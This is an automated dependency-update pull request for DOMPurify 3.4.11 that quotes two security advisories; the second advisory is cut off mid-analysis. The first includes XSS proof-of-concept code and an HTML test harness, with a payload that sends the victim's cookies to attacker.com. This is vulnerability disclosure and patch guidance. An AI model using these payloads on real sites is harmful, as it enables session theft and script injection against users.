fix(deps): update dependency dompurify to v3.4.11 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	3.4.9 → 3.4.11

---

DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside content when using DOM output modes

GHSA-gvmj-g25r-r7wr

More information

Details

Summary

When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.

Note: The string output path is not affected. Only the DOM return paths (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, IN_PLACE: true) are vulnerable.

---

Description

Background

SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:

1. Per-node scrubbing (_sanitizeElements, src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk.
2. Final normalization pass (_scrubTemplateExpressions, src/purify.ts:1115), calls node.normalize() to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.

The Gap

_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:

// src/purify.ts:1117
const walker = createNodeIterator.call(
  node.ownerDocument || node,
  node,
  NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
  null
);

Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.

This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.

How Split Text Nodes Are Created

When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:

if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
  const parentNode = getParentNode(currentNode);
  const childNodes = getChildNodes(currentNode);
  if (childNodes && parentNode) {
    for (let i = childCount - 1; i >= 0; --i) {
      const childClone = cloneNode(childNodes[i], true);
      parentNode.insertBefore(childClone, getNextSibling(currentNode));
    }
  }
}

If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.

The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:

"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."

The implementation guards against this on the main body, but the guard is not applied to <template> content.

---

Proof of Concept

Why the Split Works

The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:

Fragment	Against TMPLIT_EXPR /\${[\w\W]*/g	Against MUSTACHE_EXPR /{{[\w\W]*|^[\w\W]*}}/g	Result
$	Requires ${ - no { follows	No {{ or }}	Survives
{alert(document.domain)}	Requires leading $ - absent	No {{, ends with single } not }}	Survives
${alert(document.domain)}	Full match - would be stripped	-	Stripped if seen whole

DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.

---

PoC 1 - XSS via alert() (baseline confirmation)

// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
  '<template>' +
    '<x-split-1>$</x-split-1>' +
    '<x-split-2>{alert(document.domain)}</x-split-2>' +
  '</template>';

// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"]  <-- two separate text nodes, both "clean"

// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}"  <-- fully formed expression, past the sanitizer

// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!

---

PoC 2 - Session Hijacking via cookie exfiltration

// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
  '<template>' +
    '<x-a>$</x-a>' +
    '<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
  '</template>';

const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();

console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"

// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789

---

PoC 3 - End-to-end: realistic application context

This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:

<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
  import DOMPurify from './dist/purify.es.mjs';

  // Simulates fetching and rendering user-submitted comment
  async function renderComment(userHtml) {
    // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
    const dom = DOMPurify.sanitize(userHtml, {
      RETURN_DOM: true,
      SAFE_FOR_TEMPLATES: true,
    });

    // Application iterates <template> elements and evaluates their content
    // (common pattern in component-based frameworks)
    dom.querySelectorAll('template').forEach(tmpl => {
      tmpl.content.normalize(); // standard DOM housekeeping
      const content = tmpl.content.textContent;

      // Application uses template literals to interpolate user content into UI
      const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
      document.getElementById('output').innerHTML += rendered;
    });
  }

  // Attacker-supplied comment content
  const attackerComment =
    '<template>' +
      '<x-a>$</x-a>' +
      '<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
    '</template>';

  // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
  renderComment(attackerComment);
  // !! XSS fires, alert pops with session cookies !!
</script>

Observed output: alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.

---

PoC 4 - IN_PLACE mode (DOM input path)

// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)

const container = document.createElement('div');
const tmpl = document.createElement('template');

// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);

// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}"  <-- survived in-place sanitization

new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!

HTML File for testing

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
  <script src="dist/purify.js"></script>
  <style>
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body {
      font-family: 'Segoe UI', system-ui, sans-serif;
      background: #&#8203;0d1117;
      color: #e6edf3;
      padding: 32px;
    }
    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
    .subtitle { color: #&#8203;8b949e; font-size: 0.9rem; margin-bottom: 32px; }
    .card {
      background: #&#8203;161b22;
      border: 1px solid #&#8203;30363d;
      border-radius: 8px;
      margin-bottom: 24px;
      overflow: hidden;
    }
    .card-header {
      display: flex;
      align-items: center;
      gap: 10px;
      padding: 14px 20px;
      border-bottom: 1px solid #&#8203;30363d;
      background: #&#8203;1c2128;
    }
    .badge {
      font-size: 0.72rem;
      font-weight: 700;
      padding: 2px 8px;
      border-radius: 4px;
      text-transform: uppercase;
      letter-spacing: 0.05em;
    }
    .badge-run    { background: #&#8203;1f6feb; color: #fff; }
    .badge-pass   { background: #&#8203;238636; color: #fff; }
    .badge-fail   { background: #da3633; color: #fff; }
    .badge-warn   { background: #&#8203;9e6a03; color: #fff; }
    .card-title   { font-size: 0.95rem; font-weight: 600; }
    .card-body    { padding: 20px; }
    label         { font-size: 0.78rem; color: #&#8203;8b949e; display: block; margin-bottom: 6px; }
    pre {
      background: #&#8203;0d1117;
      border: 1px solid #&#8203;30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.82rem;
      line-height: 1.6;
      overflow-x: auto;
      margin-bottom: 14px;
      white-space: pre-wrap;
      word-break: break-all;
    }
    pre.result    { border-color: #&#8203;238636; background: #&#8203;0a1a0f; }
    pre.escaped   { border-color: #da3633; background: #&#8203;1a0a0a; }
    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
    @&#8203;media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
    .arrow {
      text-align: center;
      font-size: 1.4rem;
      color: #&#8203;8b949e;
      margin: 4px 0;
    }
    .xss-banner {
      display: none;
      background: #da3633;
      color: #fff;
      text-align: center;
      padding: 16px;
      font-size: 1.1rem;
      font-weight: 700;
      border-radius: 6px;
      margin-bottom: 24px;
      letter-spacing: 0.03em;
    }
    button {
      background: #&#8203;238636;
      color: #fff;
      border: none;
      padding: 10px 22px;
      border-radius: 6px;
      font-size: 0.9rem;
      font-weight: 600;
      cursor: pointer;
      margin-right: 10px;
      margin-bottom: 8px;
    }
    button:hover { background: #&#8203;2ea043; }
    button.danger { background: #da3633; }
    button.danger:hover { background: #f85149; }
    .note {
      background: #&#8203;161b22;
      border-left: 3px solid #&#8203;9e6a03;
      padding: 12px 16px;
      font-size: 0.82rem;
      color: #e3b341;
      border-radius: 0 6px 6px 0;
      margin-top: 14px;
    }
    #log {
      background: #&#8203;0d1117;
      border: 1px solid #&#8203;30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.8rem;
      font-family: monospace;
      min-height: 60px;
      max-height: 300px;
      overflow-y: auto;
      line-height: 1.8;
    }
    .log-ok   { color: #&#8203;3fb950; }
    .log-fail { color: #f85149; }
    .log-info { color: #&#8203;8b949e; }
    .log-warn { color: #e3b341; }
  </style>
</head>
<body>

  <h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
  <p class="subtitle">
    CVE candidate · Template expression injection via &lt;template&gt; content ·
    Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
  </p>

  <div id="xss-banner" class="xss-banner">
    ⚠️ XSS CONFIRMED - Expression executed in this page's context
  </div>

  <!-- ── Controls ─────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Controls</span>
      <span class="card-title">Run individual test cases</span>
    </div>
    <div class="card-body">
      <button onclick="runAll()">▶ Run all tests</button>
      <button onclick="runPoC1()">PoC 1 - alert()</button>
      <button onclick="runPoC2()">PoC 2 - cookie exfil</button>
      <button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
      <button onclick="runControl()">Control - string output (should block)</button>
      <div class="note">
        PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
        doesn't need a dismiss click to continue. Watch the red banner at the top.
      </div>
    </div>
  </div>

  <!-- ── PoC 1 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc1">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc1">PENDING</span>
      <span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
          <pre id="input-poc1"></pre>
        </div>
        <div>
          <label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
          <pre class="result" id="nodes-poc1"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED TEXT NODE - fully formed expression after normalization</label>
      <pre class="highlight" id="merged-poc1"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc1">Not run yet</pre>
    </div>
  </div>

  <!-- ── PoC 2 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc2">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc2">PENDING</span>
      <span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - exfil payload split across custom elements</label>
          <pre id="input-poc2"></pre>
        </div>
        <div>
          <label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
          <pre class="result" id="nodes-poc2"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION - what a template engine would evaluate</label>
      <pre class="highlight" id="merged-poc2"></pre>
      <label>SIMULATED EXECUTION (fetch URL that would be called)</label>
      <pre id="exec-poc2">Not run yet</pre>
      <div class="note">
        Real execution would redirect the victim to
        <code>attacker.com</code> carrying the session cookie.
        This PoC constructs the URL without actually sending it.
      </div>
    </div>
  </div>

  <!-- ── PoC 3 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc3">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc3">PENDING</span>
      <span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
          <pre id="input-poc3"></pre>
        </div>
        <div>
          <label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
          <pre class="result" id="nodes-poc3"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION</label>
      <pre class="highlight" id="merged-poc3"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc3">Not run yet</pre>
    </div>
  </div>

  <!-- ── Control ───────────────────────────────────────────── -->
  <div class="card" id="card-ctrl">
    <div class="card-header">
      <span class="badge badge-run" id="badge-ctrl">PENDING</span>
      <span class="card-title">Control - string output (default) MUST block the payload</span>
    </div>
    <div class="card-body">
      <label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
      <pre id="input-ctrl"></pre>
      <div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
      <label>OUTPUT STRING - expression should be stripped</label>
      <pre id="output-ctrl">Not run yet</pre>
      <div class="note">
        The string output path is NOT vulnerable because
        <code>body.innerHTML</code> serialises the template content into a
        flat string where the full <code>${"{...}"}</code> expression is visible
        and the final regex scrub catches it.
      </div>
    </div>
  </div>

  <!-- ── Log ───────────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Log</span>
      <span class="card-title">Test output</span>
    </div>
    <div class="card-body">
      <div id="log"></div>
    </div>
  </div>

<script>
// ── Helpers ────────────────────────────────────────────────────────────────

let xssConfirmed = false;

function log(msg, type = 'info') {
  const el = document.getElementById('log');
  const line = document.createElement('div');
  line.className = 'log-' + type;
  line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
  el.appendChild(line);
  el.scrollTop = el.scrollHeight;
}

function setBadge(id, status) {
  const el = document.getElementById('badge-' + id);
  el.textContent = status;
  el.className = 'badge ' + {
    PASS: 'badge-fail',   // "PASS" here means the attack succeeded (bad for security)
    BLOCK: 'badge-pass',  // "BLOCK" means DOMPurify correctly blocked it
    PENDING: 'badge-run',
    ERROR: 'badge-warn',
  }[status];
}

function markXSS(poc) {
  if (!xssConfirmed) {
    xssConfirmed = true;
    document.getElementById('xss-banner').style.display = 'block';
  }
  log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}

// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────

function runPoC1() {
  log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');

  // IMPORTANT:
  // Build a REAL template DOM node with split TEXT nodes.
  // HTML parsing would merge adjacent text automatically,
  // so we construct the DOM programmatically.

  const container = document.createElement('div');
  const tmpl = document.createElement('template');

  tmpl.content.appendChild(document.createTextNode('$'));
  tmpl.content.appendChild(
    document.createTextNode(
      '{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
    )
  );

  container.appendChild(tmpl);

  document.getElementById('input-poc1').textContent =
    'template.content.childNodes[0].data = "$"\\n' +
    'template.content.childNodes[1].data = "{confirm(...)}"';

  // Sanitize the DOM node itself
  const sanitized = DOMPurify.sanitize(container, {
    RETURN_DOM: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = sanitized.querySelector('template');

  if (!tmplAfter) {
    document.getElementById('exec-poc1').textContent =
      'Template element removed during sanitization';
    setBadge('poc1', 'ERROR');
    return;
  }

  const nodesBefore = [...tmplAfter.content.childNodes].map(
    n => JSON.stringify(n.nodeValue)
  );

  document.getElementById('nodes-poc1').textContent =
    'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
    'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
    '→ Neither fragment matched individually.';

  log(
    'PoC 1: Text nodes after sanitization: ' +
    nodesBefore.join(', '),
    'warn'
  );

  // Merge text nodes
  tmplAfter.content.normalize();

  const merged = tmplAfter.content.textContent;

  document.getElementById('merged-poc1').textContent = merged;

  log('PoC 1: After normalize() - merged text: ' + merged, 'warn');

  try {
    const result = new Function('return `' + merged + '`')();

    document.getElementById('exec-poc1').textContent =
      '✔ Expression executed successfully\\n' +
      'Returned: ' + result;

    setBadge('poc1', 'PASS');
    markXSS('PoC 1');

  } catch (e) {
    document.getElementById('exec-poc1').textContent =
      'Error: ' + e.message;

    setBadge('poc1', 'ERROR');

    log('PoC 1 error: ' + e.message, 'warn');
  }
}

// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────

function runPoC2() {
  log('Running PoC 2 - cookie exfiltration...', 'info');

  // Fake cookie for demonstration
  document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';

  // IMPORTANT:
  // Build REAL split text nodes programmatically.
  // Do NOT rely on HTML parsing.

  const container = document.createElement('div');
  const tmpl = document.createElement('template');

  tmpl.content.appendChild(document.createTextNode('$'));

  tmpl.content.appendChild(
    document.createTextNode(
      '{document.location="//attacker.com/steal?c="+document.cookie}'
    )
  );

  container.appendChild(tmpl);

  document.getElementById('input-poc2').textContent =
    'template.content.childNodes[0].data = "$"\\n' +
    'template.content.childNodes[1].data = "{document.location=...}"';

  // Sanitize DOM node
  const sanitized = DOMPurify.sanitize(container, {
    RETURN_DOM: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = sanitized.querySelector('template');

  if (!tmplAfter) {
    document.getElementById('exec-poc2').textContent =
      'Template element removed during sanitization';

    setBadge('poc2', 'ERROR');

    log('PoC 2: template element missing after sanitize()', 'warn');

    return;
  }

  const nodes = [...tmplAfter.content.childNodes].map(
    n => JSON.stringify(n.nodeValue)
  );

  document.getElementById('nodes-poc2').textContent =
    'Node 0: ' + nodes[0] + '\\n' +
    'Node 1: ' + nodes[1] + '\\n\\n' +
    '→ Neither fragment individually matches template-expression regexes.';

  log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');

  // Merge adjacent text nodes
  tmplAfter.content.normalize();

  const merged = tmplAfter.content.textContent;

  document.getElementById('merged-poc2').textContent = merged;

  log('PoC 2: Merged expression: ' + merged, 'warn');

  // Simulate framework evaluation
  try {
    new Function('return `' + merged + '`')();

    const cookieValue = document.cookie;

    const stealUrl =
      '//attacker.com/steal?c=' +
      encodeURIComponent(cookieValue);

    document.getElementById('exec-poc2').textContent =
      '✔ Expression successfully evaluated\\n\\n' +
      'Would redirect victim to:\\n' +
      stealUrl + '\\n\\n' +
      'Cookie exposed:\\n' +
      cookieValue;

    setBadge('poc2', 'PASS');

    markXSS('PoC 2');

    log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');

  } catch (e) {
    document.getElementById('exec-poc2').textContent =
      'Error: ' + e.message;

    setBadge('poc2', 'ERROR');

    log('PoC 2 error: ' + e.message, 'warn');
  }
}
// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────

function runPoC3() {
  log('Running PoC 3 - IN_PLACE mode...', 'info');

  // Build DOM node manually (simulates attacker-controlled DOM input,
  // e.g. content parsed from a WebSocket message or an iframe)
  const container = document.createElement('div');
  const tmplEl = document.createElement('template');

  // Two separate text nodes - HTML parser merges them, but programmatic
  // DOM construction keeps them split. This is the IN_PLACE attack surface.
  tmplEl.content.appendChild(document.createTextNode('$'));
  tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}'));
  container.appendChild(tmplEl);

  document.getElementById('input-poc3').textContent =
    '// Programmatically constructed DOM node:\n' +
    'template.content.childNodes[0].data = "$"\n' +
    'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' +
    '// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';

  // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression
  DOMPurify.sanitize(container, {
    IN_PLACE: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = container.querySelector('template');
  const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);
  document.getElementById('nodes-poc3').textContent =
    'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' +
    'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' +
    '→ _scrubTemplateExpressions() did not enter template.content\n' +
    '→ Both nodes unchanged after sanitization.';

  log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');

  tmplAfter.content.normalize();
  const merged = tmplAfter.content.textContent;
  document.getElementById('merged-poc3').textContent = merged;

  log('PoC 3: Merged: ' + merged, 'warn');

  try {
    const result = new Function('return `' + merged + '`')();
    document.getElementById('exec-poc3').textContent =
      '✔ new Function() returned: ' + result + '\n' +
      'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';
    setBadge('poc3', 'PASS');
    markXSS('PoC 3');
  } catch (e) {
    document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;
    setBadge('poc3', 'ERROR');
    log('PoC 3 error: ' + e.message, 'warn');
  }
}

// ── Control: string output must block ─────────────────────────────────────

function runControl() {
  log('Running control - string output path (should block)...', 'info');

  const dirty =
    '<template>' +
      '<x-split-1>$</x-split-1>' +
      '<x-split-2>{confirm("this should never fire")}</x-split-2>' +
    '</template>';

  document.getElementById('input-ctrl').textContent = dirty;

  // Default string output - NOT using RETURN_DOM
  const sanitized = DOMPurify.sanitize(dirty, {
    SAFE_FOR_TEMPLATES: true,
    // RETURN_DOM intentionally omitted - string path is safe
  });

  document.getElementById('output-ctrl').textContent = sanitized;

  const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');
  if (blocked) {
    setBadge('ctrl', 'BLOCK');
    log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');
  } else {
    setBadge('ctrl', 'PASS'); // unexpected
    log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');
  }
}

// ── Run all ────────────────────────────────────────────────────────────────

function runAll() {
  document.getElementById('log').innerHTML = '';
  xssConfirmed = false;
  document.getElementById('xss-banner').style.display = 'none';
  log('=== Starting full test run ===', 'info');
  runPoC1();
  runPoC2();
  runPoC3();
  runControl();
  log('=== Test run complete ===', 'info');
}
</script>

</body>
</html>

---

Root Cause

_scrubTemplateExpressions (src/purify.ts:1115) does not recurse into <template>.content:

const _scrubTemplateExpressions = function (node: Element): void {
  node.normalize(); // Does NOT normalize inside <template>.content (DOM spec)
  const walker = createNodeIterator.call(
    node.ownerDocument || node,
    node,            // NodeIterator does NOT enter <template>.content
    NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |
    NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,
    null
  );
  // Scrubs nodes it finds, but never sees <template> content
};

The fix is to extend _scrubTemplateExpressions to explicitly recurse into <template>.content, mirroring the approach already used by _sanitizeShadowDOM (src/purify.ts:1753):

if (_isDocumentFragment(shadowNode.content)) {
  _sanitizeShadowDOM(shadowNode.content); // already handles recursion
}

Suggested Patch Direction

const _scrubTemplateExpressions = function (node: Element): void {
  node.normalize();
  const walker = createNodeIterator.call( /* existing args */ );

  // ... existing scrub loop ...

  // NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM
  const templates = (node as Element).querySelectorAll?.('template') ?? [];
  arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {
    if (_isDocumentFragment(tmpl.content)) {
      _scrubTemplateExpressions(tmpl.content as unknown as Element);
    }
  });
};

---

Impact

Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes <template> element content.

What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, <%...%>) into the sanitized DOM output inside <template> elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.

Preconditions for Exploitation

Precondition	Notes
SAFE_FOR_TEMPLATES: true	Non-default - must be explicitly set
RETURN_DOM: true or IN_PLACE: true	Non-default - must be explicitly set
Template engine processes <template>.content	Application-dependent

What Is NOT Affected

The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:

// src/purify.ts:2067 - only runs on string output, not DOM output
if (SAFE_FOR_TEMPLATES) {
  arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
    serializedHTML = stringReplace(serializedHTML, expr, ' ');
  });
}

Severity

• CVSS Score: 2.0 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr
• https://github.com/advisories/GHSA-gvmj-g25r-r7wr

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CVE-2026-49459 / GHSA-r47g-fvhr-h676

More information

Details

IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when _forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).

Affected

• DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
• Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected:

• String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside _initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns])
• IN_PLACE where the root is not an HTMLFormElement
• IN_PLACE where the attacker cannot place a clobber-named child inside the root

Vulnerability details

Code paths

[A] — _forceRemove at src/purify.ts:930-939:

const _forceRemove = function (node: Node): void {
  arrayPush(DOMPurify.removed, { element: node });
  try {
    // eslint-disable-next-line unicorn/prefer-dom-node-remove
    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null
  } catch (_) {
    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op
  }                                           //      when the node has no parent
};

When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B] — _sanitizeAttributes at src/purify.ts:1490-1492:

const _sanitizeAttributes = function (currentNode: Element): void {
  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

  const { attributes } = currentNode;

  /* Check if we have attributes; if not we might have a text node */
  if (!attributes || _isClobbered(currentNode)) {
    return;                                   // [B] silently skips ALL attribute checks
  }                                           //     for clobbered nodes
  ...
};

